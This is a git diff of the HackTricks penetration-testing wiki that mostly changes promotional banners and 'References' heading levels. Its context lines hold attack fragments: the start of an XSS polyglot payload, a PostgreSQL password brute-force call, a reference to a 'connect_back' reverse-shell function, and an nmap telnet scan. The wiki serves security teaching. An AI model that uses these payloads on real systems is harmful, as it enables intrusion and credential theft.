@ -46,7 +46,8 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
The script `telnet-ntlm-info.nse` will obtain NTLM info (Windows versions).
In the TELNET Protocol are various "**options**" that will be sanctioned and may be used with the "**DO, DON'T, WILL, WON'T**" structure to allow a user and server to agree to use a more elaborate (or perhaps just different) set of conventions for their TELNET connection. Such options could include changing the character set, the echo mode, etc. (From the [telnet RFC](https://tools.ietf.org/html/rfc854))\
From the [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): In the TELNET Protocol are various "**options**" that will be sanctioned and may be used with the "**DO, DON'T, WILL, WON'T**" structure to allow a user and server to agree to use a more elaborate (or perhaps just different) set of conventions for their TELNET connection. Such options could include changing the character set, the echo mode, etc.
**I know it is possible to enumerate this options but I don't know how, so let me know if know how.**
### [Brute force](../generic-methodologies-and-resources/brute-force.md#telnet)

3
network-services-pentesting/pentesting-voip/README.md
View file

@ -378,7 +378,7 @@ Therefore, a call to the extension **`101`** and **`123123123`** will be send an
The SIP Digest Leak is a vulnerability that affects a large number of SIP Phones, including both hardware and software IP Phones as well as phone adapters (VoIP to analogue). The vulnerability allows **leakage of the Digest authentication response**, which is computed from the password. An **offline password attack is then possible** and can recover most passwords based on the challenge response.
Vulnerability scenario (for [**more information check this**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)):
**[Vulnerability scenario from here**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
1. An IP Phone (victim) is listening on port 5060, accepting phone calls
2. The attacker sends an INVITE to the IP Phone
@ -562,6 +562,7 @@ The easiest way to install a software such as Asterisk is to download an **OS di
* [http://blog.pepelux.org/](http://blog.pepelux.org/)
* [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
* [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4)
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
<details>

4
pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>
@ -211,7 +211,7 @@ namespace DeserializationTests
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</details>

4
pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
View file

@ -7,7 +7,7 @@
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</details>
@ -245,7 +245,7 @@ You can find more gadgets here: [https://deadcode.me/blog/2016/09/02/Blind-Java-
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</details>

2
pentesting-web/deserialization/python-yaml-deserialization.md
View file

@ -156,7 +156,7 @@ cat /tmp/example_yaml
- /root/flag.txt
```
# References
## References
* [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
* [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)

4
pentesting-web/file-upload/pdf-upload-xxe-and-cors-bypass.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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</details>
@ -21,7 +21,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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</details>

4
pentesting-web/login-bypass/README.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>
@ -121,7 +121,7 @@ Pages usually redirects users after login, check if you can alter that redirect
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>

4
pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>
@ -59,7 +59,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
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</details>

4
pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>
@ -48,7 +48,7 @@ And in order to be precise and **send** that **postmessage** just **after** the
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</details>

4
pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
View file

@ -7,7 +7,7 @@
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -90,7 +90,7 @@ That **payload** will get the **identifier** and send a **XSS** it **back to the
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

4
pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -89,7 +89,7 @@ The final solution by [**@terjanq**](https://twitter.com/terjanq) is the [**foll
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

4
pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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</details>
@ -44,7 +44,7 @@ This is specially useful in **postMessages** because if a page is sending sensit
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>

2
pentesting-web/reverse-tab-nabbing.md
View file

@ -97,7 +97,7 @@ However, in instances where the domains are identical, the malicious site gains
Prevention information are documented into the [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
# References
## References
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)

2
pentesting-web/saml-attacks/saml-basics.md
View file

@ -173,7 +173,7 @@ Each `Reference` element signifies a specific resource being signed, identifiabl
In conclusion, XML Signatures provide flexible ways to secure XML documents, with each type serving different structural and security needs.
# References
## References
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
<details>

4
pentesting-web/sql-injection/README.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -594,7 +594,7 @@ This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

4
pentesting-web/sql-injection/cypher-injection-neo4j.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -24,7 +24,7 @@ Check the following blogs:
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

4
pentesting-web/sql-injection/mysql-injection/README.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -198,7 +198,7 @@ mysql> select version();
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

4
pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -135,7 +135,7 @@ select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

4
pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -367,7 +367,7 @@ print(" drop function connect_back(text, integer);")
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

4
pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -320,7 +320,7 @@ Check the following page:
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

2
pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
View file

@ -221,7 +221,7 @@ The *backslash-trick* exploits a difference between the [WHATWG URL Standard](ht
image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
# References
## References
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)

4
pentesting-web/ssti-server-side-template-injection/el-expression-language.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -265,7 +265,7 @@ Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

2
pentesting-web/unicode-injection/unicode-normalization.md
View file

@ -112,7 +112,7 @@ When the backend is **checking user input with a regex**, it might be possible t
The tool [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* allows to **generate variation of the input** to fuzz the backend. Fore more info check the **github** and this [**post**](https://0xacb.com/2022/11/21/recollapse/).
# References
## References
* [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)

4
pentesting-web/xs-search/connection-pool-by-destination-example.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -129,7 +129,7 @@ Tbh, reading the script I missed some part where the **attacker makes the bot lo
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

4
pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -76,7 +76,7 @@ The following **script** taken from [**here**](https://blog.huli.tw/2022/05/05/e
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

4
pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
